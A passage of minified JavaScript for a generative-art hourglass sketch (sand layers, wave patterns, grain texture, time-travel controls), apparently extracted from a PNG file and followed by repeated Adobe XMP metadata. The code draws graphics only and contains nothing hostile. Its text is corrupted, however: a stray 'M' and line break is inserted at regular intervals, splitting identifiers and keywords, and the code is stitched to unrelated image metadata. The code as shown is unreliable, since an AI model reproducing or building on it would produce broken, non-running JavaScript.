;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
